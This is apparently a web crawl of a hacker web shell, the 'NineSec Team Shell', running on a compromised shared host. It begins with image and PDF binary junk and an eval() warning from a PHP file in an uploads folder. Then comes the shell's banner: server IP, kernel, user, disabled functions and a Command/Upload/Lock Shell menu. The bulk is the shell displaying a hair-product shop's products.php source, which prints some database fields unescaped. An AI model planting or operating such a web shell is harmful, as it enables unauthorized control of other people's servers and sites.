JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/prince.ranchihairsalon.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/prince.ranchihairsalon.com/public_html/products.php
<?php
// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Set SEO variables BEFORE including header
$page_title = "Premium Hair Products in Lalpur, Ranchi | Prince the Barber";
$meta_description = "Buy best quality hair patches, wigs, hair care & beauty products in Lalpur, Ranchi. Premium products at Prince the Barber. WhatsApp enquiry: 90319 99993";
$meta_keywords = "hair patches Lalpur, hair wigs Ranchi, hair products Lalpur, beauty products Ranchi, buy hair patch Ranchi, hair care products Lalpur, Prince the Barber products";

require_once 'includes/header.php';
require_once 'includes/config.php';

// Check for category filter
$category_filter = isset($_GET['category']) ? $_GET['category'] : 'all';

try {
    if($category_filter == 'all') {
        $stmt = $pdo->query("SELECT * FROM products ORDER BY featured DESC, created_at DESC");
    } else {
        $stmt = $pdo->prepare("SELECT * FROM products WHERE category = ? ORDER BY featured DESC, created_at DESC");
        $stmt->execute([$category_filter]);
    }
    $products = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch(Exception $e) {
    $error = "Error loading products: " . $e->getMessage();
}

// Category information
$category_info = [
    'all' => ['name' => 'All Products', 'icon' => 'fas fa-boxes', 'color' => '#6c757d'],
    'hair_patch' => ['name' => 'Hair Patches', 'icon' => 'fas fa-hair-alt', 'color' => '#3498db'],
    'hair_wig' => ['name' => 'Hair Wigs', 'icon' => 'fas fa-user-tie', 'color' => '#2ecc71'],
    'hair_product' => ['name' => 'Hair Care', 'icon' => 'fas fa-shampoo', 'color' => '#9b59b6'],
    'beauty_product' => ['name' => 'Beauty Products', 'icon' => 'fas fa-spa', 'color' => '#f39c12']
];
?>

<!-- Structured Data for Products Page -->
<script type="application/ld+json">
{
    "@context": "https://schema.org",
    "@type": "ItemList",
    "name": "Hair Products in Lalpur, Ranchi",
    "description": "Complete collection of premium hair products available at Prince the Barber store in Lalpur, Ranchi",
    "url": "https://prince.ranchihairsalon.com/products",
    "numberOfItems": <?php echo count($products); ?>,
    "itemListElement": [
        <?php
        $item_count = 0;
        foreach($products as $index => $product):
            $item_count++;
            $category_name = $category_info[$product['category']]['name'] ?? 'Product';
        ?>
        {
            "@type": "Product",
            "position": <?php echo $item_count; ?>,
            "name": "<?php echo addslashes($product['product_name']); ?>",
            "description": "<?php echo addslashes(substr($product['description'], 0, 150)); ?>",
            "offers": {
                "@type": "Offer",
                "price": "<?php echo $product['discounted_price'] ?: $product['price']; ?>",
                "priceCurrency": "INR",
                "availability": "https://schema.org/<?php echo ($product['stock_quantity'] > 0) ? 'InStock' : 'OutOfStock'; ?>"
            },
            "brand": {
                "@type": "Brand",
                "name": "<?php echo addslashes($product['brand'] ?: 'Prince the Barber'); ?>"
            }
        }<?php if($item_count < count($products)) echo ','; ?>
        <?php endforeach; ?>
    ]
}
</script>

<!-- Hero Section -->
<section class="hero-section py-5" style="
    background: linear-gradient(rgba(0,0,0,0.8), rgba(0,0,0,0.8)), 
                url('assets/images/products-hero.jpg');
    background-size: cover;
    background-position: center;
    color: white;
    margin-top: 20px;
">
    <div class="container">
        <div class="row align-items-center">
            <div class="col-lg-8">
                <h1 class="display-4 fw-bold mb-3">Premium Hair Products in Lalpur, Ranchi</h1>
                <p class="lead mb-4">Best quality hair patches, wigs, hair care & beauty products at Prince the Barber store in Lalpur</p>
                <div class="d-flex flex-wrap gap-3">
                    <a href="#products-grid" class="btn btn-primary btn-lg">
                        <i class="fas fa-shopping-bag me-2"></i> Shop Now
                    </a>
                    <a href="https://wa.me/919031999993?text=Hi%20Prince%20the%20Barber%20Lalpur,%20I%20want%20to%20enquire%20about%20your%20hair%20products" 
                       class="btn btn-success btn-lg" target="_blank">
                        <i class="fab fa-whatsapp me-2"></i> WhatsApp Enquiry
                    </a>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- Location Badge -->
<div class="bg-light py-3 border-bottom">
    <div class="container">
        <div class="row align-items-center">
            <div class="col-md-8">
                <div class="d-flex flex-wrap gap-2">
                    <span class="badge bg-primary">
                        <i class="fas fa-map-marker-alt me-1"></i> Lalpur, Ranchi
                    </span>
                    <span class="badge bg-success">
                        <i class="fas fa-shipping-fast me-1"></i> Same Day Delivery
                    </span>
                    <span class="badge bg-warning">
                        <i class="fas fa-headset me-1"></i> Free Consultation
                    </span>
                </div>
            </div>
            <div class="col-md-4 text-md-end mt-2 mt-md-0">
                <a href="tel:+919031999993" class="text-decoration-none text-dark fw-bold">
                    <i class="fas fa-phone-alt me-1"></i> +91 90319 99993
                </a>
            </div>
        </div>
    </div>
</div>

<!-- Product Categories -->
<section class="py-5">
    <div class="container">
        <!-- Category Filter -->
        <div class="row mb-5">
            <div class="col-12">
                <h2 class="text-center mb-4">Shop by Category</h2>
                <div class="d-flex flex-wrap justify-content-center gap-2">
                    <?php foreach($category_info as $cat_key => $info): ?>
                    <a href="products<?php echo $cat_key != 'all' ? '?category=' . $cat_key : ''; ?>" 
                       class="btn <?php echo $category_filter == $cat_key ? 'btn-primary' : 'btn-outline-primary'; ?>">
                        <i class="<?php echo $info['icon']; ?> me-2"></i>
                        <?php echo $info['name']; ?>
                    </a>
                    <?php endforeach; ?>
                </div>
            </div>
        </div>

        <!-- SEO Text -->
        <div class="row mb-5">
            <div class="col-lg-10 mx-auto">
                <div class="card border-0 bg-light">
                    <div class="card-body">
                        <h3 class="h4 mb-3">Best Hair Products Store in Lalpur, Ranchi</h3>
                        <p class="mb-0">
                            Prince the Barber offers premium quality hair products in <strong>Lalpur, Ranchi</strong> 
                            including hair patches, hair wigs, hair care products, and beauty essentials. Our products 
                            are specially curated for customers in Ranchi looking for reliable hair solutions. 
                            Visit our store in Lalpur or order online with WhatsApp enquiry.
                        </p>
                    </div>
                </div>
            </div>
        </div>

        <?php if(isset($error)): ?>
            <div class="alert alert-danger"><?php echo $error; ?></div>
        <?php endif; ?>

        <!-- Products Grid -->
        <div class="row" id="products-grid">
            <?php if(count($products) > 0): ?>
                <?php foreach($products as $product): 
                    // Generate SEO-friendly URL
                    $slug = !empty($product['slug']) ? $product['slug'] : strtolower(trim(preg_replace('/[^A-Za-z0-9-]+/', '-', $product['product_name'])));
                    $product_url = "product/" . $slug . "-" . $product['id'] . "-in-lalpur-ranchi";
                    $current_price = $product['discounted_price'] ?: $product['price'];
                    $category_data = $category_info[$product['category']] ?? $category_info['all'];
                ?>
                <div class="col-lg-3 col-md-4 col-sm-6 mb-4">
                    <div class="card product-card h-100 border-0 shadow-sm hover-lift">
                        <div class="position-relative">
                            <a href="<?php echo $product_url; ?>">
                                <img src="<?php echo $product['image_url'] ?: 'assets/images/product-placeholder.jpg'; ?>" 
                                     class="card-img-top" 
                                     alt="<?php echo htmlspecialchars($product['product_name']); ?> - Prince the Barber Lalpur"
                                     title="Buy <?php echo htmlspecialchars($product['product_name']); ?> in Lalpur, Ranchi"
                                     style="height: 200px; object-fit: cover;">
                            </a>
                            <span class="position-absolute top-0 end-0 m-2 badge" 
                                  style="background-color: <?php echo $category_data['color']; ?>;">
                                <i class="<?php echo $category_data['icon']; ?> me-1"></i>
                                <?php echo $category_data['name']; ?>
                            </span>
                            <?php if($product['featured']): ?>
                            <span class="position-absolute top-0 start-0 m-2 badge bg-warning">
                                <i class="fas fa-star me-1"></i> Featured
                            </span>
                            <?php endif; ?>
                            <?php if($product['discounted_price']): ?>
                            <span class="position-absolute bottom-0 start-0 m-2 badge bg-danger">
                                <i class="fas fa-tag me-1"></i> Sale
                            </span>
                            <?php endif; ?>
                        </div>
                        <div class="card-body">
                            <h5 class="card-title">
                                <a href="<?php echo $product_url; ?>" class="text-decoration-none text-dark">
                                    <?php echo htmlspecialchars($product['product_name']); ?>
                                </a>
                            </h5>
                            
                            <?php if($product['brand']): ?>
                            <p class="text-muted small mb-2">
                                <i class="fas fa-tag me-1"></i>
                                <strong>Brand:</strong> <?php echo $product['brand']; ?>
                            </p>
                            <?php endif; ?>
                            
                            <p class="card-text small text-muted">
                                <?php echo substr($product['description'], 0, 80); ?>...
                                <a href="<?php echo $product_url; ?>" class="text-primary text-decoration-none">Read More</a>
                            </p>
                            
                            <div class="d-flex justify-content-between align-items-center">
                                <div>
                                    <h5 class="text-primary mb-0">₹<?php echo $current_price; ?></h5>
                                    <?php if($product['discounted_price']): ?>
                                    <del class="text-muted small">₹<?php echo $product['price']; ?></del>
                                    <?php endif; ?>
                                </div>
                                <div>
                                    <?php if($product['stock_quantity'] > 0): ?>
                                    <span class="badge bg-success">
                                        <i class="fas fa-check me-1"></i> In Stock
                                    </span>
                                    <?php else: ?>
                                    <span class="badge bg-danger">
                                        <i class="fas fa-times me-1"></i> Out of Stock
                                    </span>
                                    <?php endif; ?>
                                </div>
                            </div>
                        </div>
                        <div class="card-footer bg-white border-top-0 pt-0">
                            <div class="d-grid gap-2">
                                <a href="<?php echo $product_url; ?>" class="btn btn-outline-primary btn-sm">
                                    <i class="fas fa-eye me-1"></i> View Details
                                </a>
                                <a href="https://wa.me/919031999993?text=Hi%20Prince%20the%20Barber%20Lalpur,%20I'm%20interested%20in%20<?php echo urlencode($product['product_name']); ?>%20(Product%20ID:%20<?php echo $product['id']; ?>)%0APrice:%20₹<?php echo $current_price; ?>%0A%0APlease%20confirm%20availability%20and%20delivery%20options." 
                                   class="btn btn-success btn-sm" target="_blank">
                                    <i class="fab fa-whatsapp me-1"></i> Enquire on WhatsApp
                                </a>
                            </div>
                        </div>
                    </div>
                </div>
                <?php endforeach; ?>
            <?php else: ?>
                <div class="col-12 text-center py-5">
                    <div class="alert alert-info">
                        <i class="fas fa-info-circle fa-2x mb-3"></i>
                        <h4>No products found in this category</h4>
                        <p class="mb-3">Please check other categories or contact us for availability</p>
                        <a href="products" class="btn btn-primary">View All Products</a>
                    </div>
                </div>
            <?php endif; ?>
        </div>
    </div>
</section>

<!-- Store Location -->
<section class="py-5 bg-light">
    <div class="container">
        <div class="row align-items-center">
            <div class="col-lg-6">
                <h2 class="mb-4">Visit Our Store in Lalpur, Ranchi</h2>
                <div class="card border-0 shadow-sm">
                    <div class="card-body">
                        <h5 class="card-title">
                            <i class="fas fa-store-alt text-primary me-2"></i>
                            Prince the Barber Store
                        </h5>
                        <p class="card-text">
                            <strong>Address:</strong> Lalpur, Ranchi, Jharkhand<br>
                            <strong>Phone:</strong> <a href="tel:+919031999993">+91 90319 99993</a><br>
                            <strong>Email:</strong> <a href="mailto:info@prince.ranchihairsalon.com">info@prince.ranchihairsalon.com</a><br>
                            <strong>Timing:</strong> 10:00 AM - 8:00 PM (Daily)
                        </p>
                        <div class="d-flex gap-2">
                            <a href="https://maps.google.com/?q=Prince+the+Barber+Lalpur+Ranchi" 
                               class="btn btn-primary" target="_blank">
                                <i class="fas fa-directions me-1"></i> Get Directions
                            </a>
                            <a href="tel:+919031999993" class="btn btn-outline-primary">
                                <i class="fas fa-phone-alt me-1"></i> Call Store
                            </a>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-lg-6 mt-4 mt-lg-0">
                <div class="card border-0 shadow-sm">
                    <div class="card-body">
                        <h5 class="card-title mb-3">Why Shop From Us?</h5>
                        <ul class="list-unstyled">
                            <li class="mb-3">
                                <i class="fas fa-check-circle text-success me-2"></i>
                                <strong>Premium Quality:</strong> 100% genuine products with warranty
                            </li>
                            <li class="mb-3">
                                <i class="fas fa-check-circle text-success me-2"></i>
                                <strong>Expert Guidance:</strong> Free consultation for product selection
                            </li>
                            <li class="mb-3">
                                <i class="fas fa-check-circle text-success me-2"></i>
                                <strong>Quick Delivery:</strong> Same day delivery in Lalpur, Ranchi
                            </li>
                            <li class="mb-3">
                                <i class="fas fa-check-circle text-success me-2"></i>
                                <strong>Installation Support:</strong> Professional help available
                            </li>
                            <li>
                                <i class="fas fa-check-circle text-success me-2"></i>
                                <strong>After-Sales Service:</strong> Dedicated support team
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- FAQ Section -->
<section class="py-5">
    <div class="container">
        <h2 class="text-center mb-5">Frequently Asked Questions</h2>
        <div class="row">
            <div class="col-lg-8 mx-auto">
                <div class="accordion" id="productsFAQ">
                    <div class="accordion-item">
                        <h3 class="accordion-header">
                            <button class="accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#faq1">
                                Do you deliver products in Ranchi?
                            </button>
                        </h3>
                        <div id="faq1" class="accordion-collapse collapse show" data-bs-parent="#productsFAQ">
                            <div class="accordion-body">
                                Yes, we deliver all products across Ranchi. Same day delivery available in Lalpur area.
                            </div>
                        </div>
                    </div>
                    
                    <div class="accordion-item">
                        <h3 class="accordion-header">
                            <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#faq2">
                                Can I visit your store in Lalpur?
                            </button>
                        </h3>
                        <div id="faq2" class="accordion-collapse collapse" data-bs-parent="#productsFAQ">
                            <div class="accordion-body">
                                Yes, our store in Lalpur, Ranchi is open daily from 10 AM to 8 PM. Walk-ins are welcome.
                            </div>
                        </div>
                    </div>
                    
                    <div class="accordion-item">
                        <h3 class="accordion-header">
                            <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#faq3">
                                Do you provide installation guidance for hair patches?
                            </button>
                        </h3>
                        <div id="faq3" class="accordion-collapse collapse" data-bs-parent="#productsFAQ">
                            <div class="accordion-body">
                                Yes, we provide free installation guidance for all hair patch products at our Lalpur store.
                            </div>
                        </div>
                    </div>
                    
                    <div class="accordion-item">
                        <h3 class="accordion-header">
                            <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#faq4">
                                What is your return policy?
                            </button>
                        </h3>
                        <div id="faq4" class="accordion-collapse collapse" data-bs-parent="#productsFAQ">
                            <div class="accordion-body">
                                We have a 7-day return policy for unused products in original packaging.
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- CTA Section -->
<section class="py-5 bg-primary text-white">
    <div class="container text-center">
        <h2 class="mb-3">Need Help Choosing the Right Product?</h2>
        <p class="lead mb-4">Our experts at Prince the Barber, Lalpur can guide you to the perfect choice</p>
        <div class="d-flex justify-content-center gap-3 flex-wrap">
            <a href="https://wa.me/919031999993?text=Hi%20Prince%20the%20Barber%20Lalpur,%20I%20need%20help%20choosing%20the%20right%20hair%20product" 
               class="btn btn-light btn-lg" target="_blank">
                <i class="fab fa-whatsapp me-2"></i> Chat on WhatsApp
            </a>
            <a href="tel:+919031999993" class="btn btn-outline-light btn-lg">
                <i class="fas fa-phone-alt me-2"></i> Call Expert: 90319 99993
            </a>
            <a href="https://maps.google.com/?q=Prince+the+Barber+Lalpur+Ranchi" 
               class="btn btn-outline-light btn-lg" target="_blank">
                <i class="fas fa-map-marker-alt me-2"></i> Visit Our Store
            </a>
        </div>
    </div>
</section>

<!-- SEO Content -->
<section class="py-5">
    <div class="container">
        <div class="row">
            <div class="col-lg-10 mx-auto">
                <div class="content-section">
                    <h2 class="mb-4">Premium Hair Products Store in Lalpur, Ranchi</h2>
                    <p>
                        Welcome to Prince the Barber's premium hair products store in <strong>Lalpur, Ranchi</strong>. 
                        We offer the best quality hair patches, hair wigs, hair care products, and beauty essentials 
                        for customers in Ranchi and nearby areas.
                    </p>
                    
                    <h3 class="h5 mt-4">Best Hair Patches in Lalpur, Ranchi</h3>
                    <p>
                        Our hair patches are made from 100% natural hair and are perfect for those looking for 
                        immediate hair restoration solutions. We provide custom-fitted hair patches that look 
                        completely natural.
                    </p>
                    
                    <h3 class="h5 mt-4">Quality Hair Wigs in Ranchi</h3>
                    <p>
                        From synthetic to human hair wigs, we offer a wide range of options suitable for different 
                        needs and budgets. Our expert team in Lalpur helps you choose the perfect wig.
                    </p>
                    
                    <h3 class="h5 mt-4">Hair Care Products in Lalpur</h3>
                    <p>
                        We stock premium hair care products including shampoos, conditioners, serums, and treatments 
                        specifically designed for different hair types and concerns.
                    </p>
                    
                    <div class="alert alert-info mt-4">
                        <i class="fas fa-info-circle me-2"></i>
                        <strong>Location Advantage:</strong> Being located in <strong>Lalpur, Ranchi</strong>, we can provide 
                        same-day delivery across Ranchi. Visit our store for free consultation and product trials.
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- CSS for Products Page -->
<style>
.hero-section {
    padding: 100px 0;
}

.hover-lift {
    transition: transform 0.3s ease, box-shadow 0.3s ease;
}

.hover-lift:hover {
    transform: translateY(-5px);
    box-shadow: 0 10px 30px rgba(0,0,0,0.1) !important;
}

.product-card {
    border: 1px solid #e9ecef;
    transition: all 0.3s ease;
}

.product-card:hover {
    border-color: #0d6efd;
}

.accordion-button:not(.collapsed) {
    background-color: rgba(13, 110, 253, 0.1);
    color: #0d6efd;
    border-color: #dee2e6;
}

@media (max-width: 768px) {
    .hero-section {
        padding: 60px 0;
    }
    
    .display-4 {
        font-size: 2.5rem;
    }
    
    .btn-lg {
        padding: 0.75rem 1rem;
        font-size: 1rem;
    }
}
</style>

<?php require_once 'includes/footer.php'; ?>

NineSec Team - 2022